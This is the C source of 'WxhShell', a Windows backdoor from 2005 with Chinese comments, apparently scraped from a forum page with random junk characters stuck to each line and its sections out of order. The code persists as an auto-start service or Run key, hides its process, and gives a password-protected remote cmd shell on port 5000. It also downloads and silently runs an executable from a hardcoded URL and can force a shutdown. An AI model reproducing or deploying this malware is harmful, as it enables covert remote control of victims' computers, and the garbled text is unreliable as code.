    if(Boot(SHUTDOWN)) 1-h"1UN2E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e[>c>F^  
    else { *(?tf{  
    closesocket(wsh); $*KM%M6  
    ExitThread(0); daX$=n  
    } bg =<)s  
    break; PQ#zF&gL9t  
    } vi4lmkyh^  
  // 获取shell fFSQLtm?E  
  case 's': { Z [aKic  
    CmdShell(wsh); pZ IDGy=~  
    closesocket(wsh); 3YFbT Z  
    ExitThread(0); ^z _m<&r  
    break; &4dh$w]q  
  } 'Avp16zg  
  // 退出 qubyZ8hx  
  case 'x': { S5,y!K]C~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); < s>y{ e  
    CloseIt(wsh); zFFip/z\  
    break; KeGGF]=>  
    } Os5Xejh`I  
  // 离开 |})7\o  
  case 'q': { >l$qE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8F;r$i2  
    closesocket(wsh); %xJ6t 5.-  
    WSACleanup(); gdx2&~  
    exit(1); /}ADV2sF  
    break; A_ftf 7,  
        } -(Z%?]+  
  } 3jJd)C R  
  } G]$.bq[v  
}(yX$ 3?`  
  // 提示信息 d,"6s=4(q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZJod=^T  
} 4)DI0b"  
  } 88}=VS  
O 8\wH  
  return; )[Bl3+'  
} m j!P ]  
9iwSE(},  
// shell模块句柄 z5UY0>+VdS  
int CmdShell(SOCKET sock) \nKpJ9!  
{ m,qMRcDF  
STARTUPINFO si; 0&W*U{0F\  
ZeroMemory(&si,sizeof(si)); e*Y>+*2y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B< 6E'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s^QXCmb$8  
PROCESS_INFORMATION ProcessInfo; Y~fa=R{W  
char cmdline[]="cmd"; ,t!K? Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j@98UZ{g\  
  return 0; mZgYR~  
} F s{}bQyQ  
 &3:U&}I  
// 自身启动模式 ($vaj;  
int StartFromService(void) b14WIgjsl  
{ >X$I:M<L  
typedef struct `:4bg1u  
{ k/`WfSM\.  
  DWORD ExitStatus; <jk.9$\$A  
  DWORD PebBaseAddress; c[6=&  
  DWORD AffinityMask; Rr!oT?6J?  
  DWORD BasePriority; ^]_5oFRIj  
  ULONG UniqueProcessId; UD+r{s/%  
  ULONG InheritedFromUniqueProcessId; f-'$tMs  
}   PROCESS_BASIC_INFORMATION; op|:XLR5  
03$lgDQ  
PROCNTQSIP NtQueryInformationProcess; w%NT 0J  
UEb'b,O_9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |nu)=Ag  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t#eTn";  
vp_$Ft-R  
  HANDLE             hProcess; R3<2Z0lqy  
  PROCESS_BASIC_INFORMATION pbi; $YPQi.  
x392uS$#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jWX^h^n7K  
  if(NULL == hInst ) return 0; :8CYTEc  
Nm;V9*5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >7Y6NAwY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q]}1/JZS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;V:Cf/@@R  
8va&*J? 2  
  if (!NtQueryInformationProcess) return 0; Lu6?$N57rC  
MF}}o0P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C>0='@LB@r  
  if(!hProcess) return 0; "{X_[  
d=$1Z. ]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'y<<ce*   
B+pJWl8u  
  CloseHandle(hProcess); Kd%>:E*  
D,<#pNO_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `(dRb  
if(hProcess==NULL) return 0; OZc.Rtgc  
G#(+p|n  
HMODULE hMod; !J%m7 A  
char procName[255]; )tB1jcI;  
unsigned long cbNeeded; f|cF [&wo  
#ozQF~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GO|EeM!iB  
\.AI;^)X@]  
  CloseHandle(hProcess); L[LgQ7es Q  
;i,:F`b~  
if(strstr(procName,"services")) return 1; // 以服务启动 WER\04%D\m  
6 z2_b wo  
  return 0; // 注册表启动 eCI0o5U  
} >RL|W}tI4  
/U1 jCLR'  
// 主模块 J]=2] oI2  
int StartWxhshell(LPSTR lpCmdLine) w?db~"T  
{ UZ qQ|3  
  SOCKET wsl; : ~R:[T2P  
BOOL val=TRUE; y9@DlK  
  int port=0; ,x. 2kb  
  struct sockaddr_in door; %x5zs ]4^  
,VTX7vaH  
  if(wscfg.ws_autoins) Install(); j}dev pO  
VJ'bS9/T  
port=atoi(lpCmdLine); N:yyDeGyW  
9tZ+ ?O5  
if(port<=0) port=wscfg.ws_port; pSml+A:  
ap% Y}  
  WSADATA data; r!,/~~m T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H>/LC* 8-  
MY$-D+#/`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U(t_uc5q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iI.d8}A  
  door.sin_family = AF_INET; G"'[dL)N>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HsQ\xQ"k!  
  door.sin_port = htons(port); U}]uPvu  
q&y9(ZvI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0u7\*Iy  
closesocket(wsl); :: 2pDtMS  
return 1; )b_ GKA `  
} ::Nhs/B/  
7Hm/ g  
  if(listen(wsl,2) == INVALID_SOCKET) { `Y5{opG7-  
closesocket(wsl); a| s64+  
return 1;  #VA8a=t  
} *G,'V,?  
  Wxhshell(wsl); z#|#Cq`VG  
  WSACleanup(); ncy?w e  
aRh1Q=^@(4  
return 0; C*f3PB=H_  
'r2VWavT  
} 6IQkP9P(  
"~uo4n~H  
// 以NT服务方式启动 G^ 2a<?Di  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wV,l }Xb-  
{ a!!>}e>Cj*  
DWORD   status = 0; B2uLfi$q  
  DWORD   specificError = 0xfffffff; '+Gy)@c  
U $ bLt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FKN!*}3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =%Yw;% 0)Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YhzDi>hob  
  serviceStatus.dwWin32ExitCode     = 0; w=txSF&Qr  
  serviceStatus.dwServiceSpecificExitCode = 0; 1Z+\>~8  
  serviceStatus.dwCheckPoint       = 0; E{-W#}#  
  serviceStatus.dwWaitHint       = 0; KJf~9w9U  
5jYZ+OB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =`oQcIkz  
  if (hServiceStatusHandle==0) return; f/VrenZ_  
pSLv1d"9{  
status = GetLastError(); wv~?<DF  
  if (status!=NO_ERROR) Q;3 v ]h_  
{ B9-Nb 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )^ky @V  
    serviceStatus.dwCheckPoint       = 0; Js7D>GWP!  
    serviceStatus.dwWaitHint       = 0; ).Ei:/*j  
    serviceStatus.dwWin32ExitCode     = status; .L X8ko  
    serviceStatus.dwServiceSpecificExitCode = specificError; yM8<)6=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p^s k?E  
    return; )L%i"=<Bdy  
  } &>Ko}?w  
J6) &b7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =:!$'q:  
  serviceStatus.dwCheckPoint       = 0; !/},k"p6  
  serviceStatus.dwWaitHint       = 0; PI~W6a7p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z z4.gkU  
} ppBIl6  
P 3CzX48^  
// 处理NT服务事件,比如:启动、停止 $)5-}NJf'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5G-}'-R  
{ N!`8-ap\^  
switch(fdwControl) \3ZQ:E}5  
{ l5m5H,`  
case SERVICE_CONTROL_STOP: MZ8jL,a^  
  serviceStatus.dwWin32ExitCode = 0; S4jt*]w5b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l^F%fIRp)  
  serviceStatus.dwCheckPoint   = 0; ^rDT+ x  
  serviceStatus.dwWaitHint     = 0; rX*ATN  
  { M99gDN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SseMTw:  
  } RRNoX }  
  return; QqC4g]  
case SERVICE_CONTROL_PAUSE: 5G\CT&cQR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (j%d{y4  
  break; wlh V!a0>  
case SERVICE_CONTROL_CONTINUE: Tu'/XUs;k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XQ{G)  
  break; UI*^$7z1 +  
case SERVICE_CONTROL_INTERROGATE: >}43xIRRCq  
  break; H9["ZRL,Q  
}; r*'X]q|L+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6G<t1?_yD  
} xF+a.gAIb  
;Ly(O'9  
// 标准应用程序主函数 Ef1R?<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \xH#X=J  
{ Y{ho[%  
bHr2LhQCN  
// 获取操作系统版本 t ._PS3  
OsIsNt=GetOsVer(); M@>EZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h9McC3  
Qr/8kWa0 C  
  // 从命令行安装 l @hXQ/  
  if(strpbrk(lpCmdLine,"iI")) Install(); _/W[=c   
6T}bD[h4?  
  // 下载执行文件 "rjqDpH  
if(wscfg.ws_downexe) { %r<c>sFJN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [Z5Lgg&  
  WinExec(wscfg.ws_filenam,SW_HIDE); hm%'k~  
} y1JxAj  
$>3/6(bW  
if(!OsIsNt) { #nE%.k|R~  
// 如果时win9x,隐藏进程并且设置为注册表启动 z|Hc=AU8y  
HideProc(); FA.h?yfr  
StartWxhshell(lpCmdLine); ; )Vro  
} s7FJJTn  
else N F[v/S  
  if(StartFromService()) JeR8Mb  
  // 以服务方式启动 r|XNS>V ,$  
  StartServiceCtrlDispatcher(DispatchTable); <bwsK,C  
else UXXN\D  
  // 普通方式启动 uhuwQS=X  
  StartWxhshell(lpCmdLine); ZD9UE3-  
~h~K"GbC?  
return 0; Fr}e-a  
} H?M#7K~[  
AQ!FJ(X(  
'oZ/fUl|7  
# $:ddO Y  
=========================================== CjzfU*G  
uv++Kj!  
3dnL\AqC  
g& y R-  
JD^&d~n_  
:<OInKE>Cx  
" ?"p:6%GFz  
=?`5n|A*  
#include <stdio.h> }}3*tn<6  
#include <string.h> 7-M$c7S  
#include <windows.h> Vrf+ ~KO7  
#include <winsock2.h> gY], (*v  
#include <winsvc.h> @15%fX`*o  
#include <urlmon.h> 3z[yKua\  
iQczvn)"m  
#pragma comment (lib, "Ws2_32.lib") <qzHMy Ai  
#pragma comment (lib, "urlmon.lib") 27-<q5q  
um@RaU  
#define MAX_USER   100 // 最大客户端连接数 `0rEV _$  
#define BUF_SOCK   200 // sock buffer J}7iXTh  
#define KEY_BUFF   255 // 输入 buffer \o^M,yI  
eH2.,wY1  
#define REBOOT     0   // 重启 %d+:0.+`n  
#define SHUTDOWN   1   // 关机 IB x?MU#.  
+igFIoHTM  
#define DEF_PORT   5000 // 监听端口 td@F%*  
#&G^%1!  
#define REG_LEN     16   // 注册表键长度 IKM=Q. 7j  
#define SVC_LEN     80   // NT服务名长度 ui4H(A'}  
=:U63  
// 从dll定义API jg?B][  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VVdgNT|}W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G?)vqmJ%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Eb`U^*A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A6'G%of  
Urhh)i  
// wxhshell配置信息 =5EG}@  
struct WSCFG { jNN$/ZWm  
  int ws_port;         // 监听端口 (=${@=!z  
  char ws_passstr[REG_LEN]; // 口令 Sd.i1w &  
  int ws_autoins;       // 安装标记, 1=yes 0=no [8/E ;h  
  char ws_regname[REG_LEN]; // 注册表键名 3LZ0EYVL  
  char ws_svcname[REG_LEN]; // 服务名 @]Ye36v0#L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jxL5L[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ys10r-kDS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +XU*NAD,!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NYD#I{h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vJ$#m_aa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `j088<?j  
yzhr"5_  
}; or/Y"\-!  
y&\ J  
// default Wxhshell configuration raGov`  
struct WSCFG wscfg={DEF_PORT, GEq?^z~i  
    "xuhuanlingzhe", 8=Di+r  
    1, @`U78)]  
    "Wxhshell", TL+a_]3@  
    "Wxhshell", EI2V<v  
            "WxhShell Service", t#kR@t+6$\  
    "Wrsky Windows CmdShell Service", ?Zu=UVb  
    "Please Input Your Password: ", u0h {bu  
  1, 2RKI M(~  
  "http://www.wrsky.com/wxhshell.exe", U]dz_%CRP  
  "Wxhshell.exe" "])X0z yM  
    };  *5 FSq  
pB{QO4q n  
// 消息定义模块 z2og&|uT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p"/1Kwqx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'DlY8rEGP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (F_Wys=6  
char *msg_ws_ext="\n\rExit."; mFOuE5  
char *msg_ws_end="\n\rQuit."; <tAn2e!  
char *msg_ws_boot="\n\rReboot..."; _s!(9  
char *msg_ws_poff="\n\rShutdown..."; in-/  
char *msg_ws_down="\n\rSave to "; St/Hv[H'[E  
Yt2_*K@rC  
char *msg_ws_err="\n\rErr!"; eJ>(SkR:[  
char *msg_ws_ok="\n\rOK!"; |sHIT<=m  
.x$+ 7$G  
char ExeFile[MAX_PATH]; >t u3m2  
int nUser = 0; pL>Q'{7s3  
HANDLE handles[MAX_USER]; ,;C92XY  
int OsIsNt; y}ez js  
E0}`+x  
SERVICE_STATUS       serviceStatus; [i.2lt#]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  N\DEY]  
fR!'i):u  
// 函数声明 wQ[~7 ,o  
int Install(void); nJ.p PzH2g  
int Uninstall(void); InMeD[*^  
int DownloadFile(char *sURL, SOCKET wsh); c]F$$BT  
int Boot(int flag); r ,|T@|{  
void HideProc(void); qev1bBW  
int GetOsVer(void); <iiu%   
int Wxhshell(SOCKET wsl); tR!eYt  
void TalkWithClient(void *cs); A\lnH5A  
int CmdShell(SOCKET sock); o87. (  
int StartFromService(void); o`\l&jUNe  
int StartWxhshell(LPSTR lpCmdLine); ^V v7u@y  
Afo(! v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |h(!CFR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7Q} P}9n  
#\iQ`Q<B  
// 数据结构和表定义 u&".kk  
SERVICE_TABLE_ENTRY DispatchTable[] = |vA3+kG  
{ T5,/;e  
{wscfg.ws_svcname, NTServiceMain}, <r.f ?chf  
{NULL, NULL} Yt!UIl\<  
}; Jg3}U j2By  
ow]S 3[07  
// 自我安装 B+eB=KL  
int Install(void) g=Q#2/UQ<  
{ x$I~y D  
  char svExeFile[MAX_PATH]; /K<Xr[z~y  
  HKEY key; ^10*s,(uS?  
  strcpy(svExeFile,ExeFile); pq+Gsu1^  
md_aD  
// 如果是win9x系统,修改注册表设为自启动 VR2BdfKU,  
if(!OsIsNt) { ,\4@Ao  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [3;J,P=&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m!a<\0^  
  RegCloseKey(key); %FLz}QW*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vLJ<_&6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZU7e1VaZM  
  RegCloseKey(key); `,Q uO  
  return 0; dgE|*1/0  
    } .l"_f  
  } c'&3[aa  
} TZi%,yK  
else { #JeZA0r5  
oHB51< }  
// 如果是NT以上系统,安装为系统服务 `;*%5WD%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yPn5l/pDDr  
if (schSCManager!=0) lyfLkBF  
{ "T?%4^:g  
  SC_HANDLE schService = CreateService cIK-VmO  
  ( 7EOn4I2@[  
  schSCManager, q0jzng  
  wscfg.ws_svcname, C0z E<fl  
  wscfg.ws_svcdisp, k# ZO4  
  SERVICE_ALL_ACCESS, xKEHN gen  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tn+i5Eso  
  SERVICE_AUTO_START, A5z`_b4f  
  SERVICE_ERROR_NORMAL, K=M5d^K<E  
  svExeFile, NtkEb :  
  NULL, .<^dv?@  
  NULL, ,'m<um  
  NULL, oOBN  
  NULL, lLxKC7b  
  NULL cgc| G  
  ); ~EW (2B{u  
  if (schService!=0) + B%fp*  
  { nYY@+%` ]z  
  CloseServiceHandle(schService); \gki!!HQ  
  CloseServiceHandle(schSCManager); P )_g t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3X89mIDr  
  strcat(svExeFile,wscfg.ws_svcname); &Ph@uZ\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B-|:l 7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0Q_AF`"  
  RegCloseKey(key); ;:vbOG#aSN  
  return 0; %L}9nc%~eP  
    } [?)}0cd0  
  } 6Y)'p .+g  
  CloseServiceHandle(schSCManager); [ahD%UxO5  
} K SDo)7`  
} bk}.^m!  
iE':ur<`  
return 1; )}9Ef"v|  
} vi["G7  
Ra&HzK?  
// 自我卸载 "639oB  
int Uninstall(void) ?lnX."eAdB  
{ us"SM\X#  
  HKEY key; uNxR#S  
Z9cch- u~  
if(!OsIsNt) { YU9xANi6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M,8a$Mdqh  
  RegDeleteValue(key,wscfg.ws_regname); K:c5Yq^  
  RegCloseKey(key); lV]hjt-L 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SWY?0Pu  
  RegDeleteValue(key,wscfg.ws_regname); QB'-`GwL  
  RegCloseKey(key); :-xp'_\L  
  return 0; hdQ[=PH)  
  } 5.0BaVwi  
} `LVItP(GUM  
} &Zs h-|N  
else { {vx{Hwyv  
aDm$^yP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,jQkR^]j-  
if (schSCManager!=0) -1Yt3M&  
{ v2gK(&?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e!d& #ofw|  
  if (schService!=0) ,6~c0]/  
  { _]E"hr6a  
  if(DeleteService(schService)!=0) { 0V{-5-.  
  CloseServiceHandle(schService); V?kJYf(<  
  CloseServiceHandle(schSCManager); D*|h c  
  return 0; Mou>|U 1e"  
  } |#^u%#'[2  
  CloseServiceHandle(schService); "KcSOjvJ  
  } Z=|:D,&  
  CloseServiceHandle(schSCManager); LUna stA^  
} Vx;f/CH3!  
} Bbz#$M!:  
U O YM   
return 1; lfOF]Kiqr  
} 5]:fkx  
D06'"  
// 从指定url下载文件 @C0{m7q  
int DownloadFile(char *sURL, SOCKET wsh) ) 2wof(  
{ I?c# T Rm  
  HRESULT hr; Y\(Q  
char seps[]= "/"; q{ n~v>wU  
char *token; # 5v 2`|)  
char *file; >(ku*  
char myURL[MAX_PATH]; sl}bNzT#  
char myFILE[MAX_PATH]; Gn<s >3E  
yd]W',c  
strcpy(myURL,sURL); _*0!6?c  
  token=strtok(myURL,seps); w{#K.dx  
  while(token!=NULL) kpsus \T  
  { @OZW1p  
    file=token; cR[)[9}  
  token=strtok(NULL,seps); #.$p7]  
  } rtS(iD@B"  
DM/J,q  
GetCurrentDirectory(MAX_PATH,myFILE); Qf6]qJa|  
strcat(myFILE, "\\"); L)H7~.Dj  
strcat(myFILE, file); IxAKIa[HY  
  send(wsh,myFILE,strlen(myFILE),0); 36` aG Y  
send(wsh,"...",3,0); ^2mmgN   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /0s1q  
  if(hr==S_OK) x/ {  
return 0; BT: =  
else 8c`g{ *z  
return 1; *LOpbf  
pa N )t  
} 1Cki}$k@  
]sE~gro  
// 系统电源模块 (NyS2 `  
int Boot(int flag) , ?WTX  
{ 1@" eeR  
  HANDLE hToken; J [J,  
  TOKEN_PRIVILEGES tkp; @QV|<NeH  
:/c=."z.  
  if(OsIsNt) { (5]<t&M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F8$.K*tT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M&Sjo' ( .  
    tkp.PrivilegeCount = 1; h`-aO u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C|5eV=f)P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R!0O[i  
if(flag==REBOOT) { Qv(}*iq]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }o0R`15dA  
  return 0; i64a]=  
} *F1!=:&s  
else { w(U-6uA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Li(}_  
  return 0; 4`)`%R$  
} EpB2?XGA  
  } 8fKt6T  
  else { r@5_LD@f  
if(flag==REBOOT) { y-m<&{q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6]^ShOX_Z  
  return 0; &%+}bt5  
} lO3$V JI  
else { ZE.nB- H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }OZ%U2PU  
  return 0; U+CZv1  
} C=2  
}  Iz*'  
|&`NB|  
return 1; }]$%aMxy T  
} AWsO? |YT  
qX^#fk7]  
// win9x进程隐藏模块 N%v}$58Z  
void HideProc(void) mjO4GpG3  
{ .xS3,O_[  
0%+S@_|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dnTB$8&  
  if ( hKernel != NULL ) #56}RV1  
  { Eq c&iS~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TCYjj:/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X|^E+ `M4  
    FreeLibrary(hKernel); ,+-l1GpL  
  } 8u Tq0d6(  
X1?7}VO  
return; =kH7   
} DygMavA.  
Q*&>Ui[&  
// 获取操作系统版本 s%z\szd*  
int GetOsVer(void) A&*lb7X  
{ ()e.J  
  OSVERSIONINFO winfo; +dq&9N/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ];i-d7C  
  GetVersionEx(&winfo); ) (unL`y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fDt#<f 4;  
  return 1; 6My=GByC  
  else xy)Y)yp  
  return 0; ukHSHsR  
} qgg/_H:;w  
nd*9vxM  
// 客户端句柄模块 .lAqD-  
int Wxhshell(SOCKET wsl) _ +[;NBz  
{ dP63bV  
  SOCKET wsh; uCO-f<b  
  struct sockaddr_in client; 1wP#?p)c  
  DWORD myID; h}r*   
r CU f,)  
  while(nUser<MAX_USER) k,wr6>'Vt  
{ !`"@!  
  int nSize=sizeof(client); OF J49X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Kq#\P  
  if(wsh==INVALID_SOCKET) return 1; Fka&\9i  
QH@?.Kb_qU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G8dC5+h  
if(handles[nUser]==0) ,e$]jC<sv2  
  closesocket(wsh); CB_ww=  
else J}U);A  
  nUser++; ;#$ 67G$  
  } H&\[iZ| -N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d.Wq@(ZoA  
aNLRUdc.  
  return 0; H_RV#BW&  
} l/0"'o_0v#  
x O?w8*d  
// 关闭 socket 8oiO:lyLSt  
void CloseIt(SOCKET wsh) p vone,y2  
{ kx&Xk0F_g  
closesocket(wsh); t`=TonLb8  
nUser--; PDQC^2Z  
ExitThread(0); T n.Cj5  
} ,{==f7|w  
UJ0fYTeuI  
// 客户端请求句柄 %\Dvng6$  
void TalkWithClient(void *cs) 2L"$p?  
{ u`?MV2jU2  
:EJ8^'0Q  
  SOCKET wsh=(SOCKET)cs; \) DJo  
  char pwd[SVC_LEN]; )7!q>^S{ B  
  char cmd[KEY_BUFF]; Jm8{@D%  
char chr[1]; gZ vX~  
int i,j; 9n4vuBgv  
Lt`d {s  
  while (nUser < MAX_USER) { uc;1{[5`1q  
\GhL{Awv&a  
if(wscfg.ws_passstr) { 0'8_:|5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y"zgpqJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K;kaWV  
  //ZeroMemory(pwd,KEY_BUFF); Bh3N6j+$d  
      i=0; $>Md]/I8  
  while(i<SVC_LEN) { wJ#fmQXKJ5  
WqQAt{W/<  
  // 设置超时 &j=Fx F9o  
  fd_set FdRead; .m%/JquMFM  
  struct timeval TimeOut; E57:ap)/  
  FD_ZERO(&FdRead); 6r  
  FD_SET(wsh,&FdRead); );EW(7KeL  
  TimeOut.tv_sec=8; XG_h\NIL  
  TimeOut.tv_usec=0; %]NaHf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yKupPp);  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pFE&`T@ <  
r\nKJdh;ka  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }nh!dVA8lh  
  pwd=chr[0]; X*f#S:kiNU  
  if(chr[0]==0xd || chr[0]==0xa) { $Ro]]NUz|  
  pwd=0; Mn$w_Z?  
  break; K+2k}Hx6J  
  } 1,UeVw/  
  i++; v C,53g  
    } p5F=?*[}  
eh4`a<gC  
  // 如果是非法用户,关闭 socket \"r84@<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D1w;cV7/d  
} lO^Ly27  
y[QQopy4:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NQB a+N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W)F<<B,  
f};lH[B3y  
while(1) { > mI1wV[  
dL{zU4iUR  
  ZeroMemory(cmd,KEY_BUFF); 7b>FqW)%  
aC$-riP,?'  
      // 自动支持客户端 telnet标准   Y]>!uwn  
  j=0; 4}0DEH.Vx  
  while(j<KEY_BUFF) { U|tUX)9O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aqL#g18  
  cmd[j]=chr[0]; 3JhT  
  if(chr[0]==0xa || chr[0]==0xd) { f@JMDJ  
  cmd[j]=0; UqVcN$^b  
  break; GM]" $  
  } %Xe#'qNq)  
  j++; 73/DOF  
    } $H\[yg>4  
yg}zK>j^vC  
  // 下载文件 pF0sXvWGG  
  if(strstr(cmd,"http://")) { Q=B>Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4Js2/s  
  if(DownloadFile(cmd,wsh)) ;/-v4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {tS^Q*F  
  else "&$ [@c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^:krfXT  
  } q,Oj  
  else { [D;wB|+,  
n8h1S lK08  
    switch(cmd[0]) { \!-IY  
  _LVwjZX[  
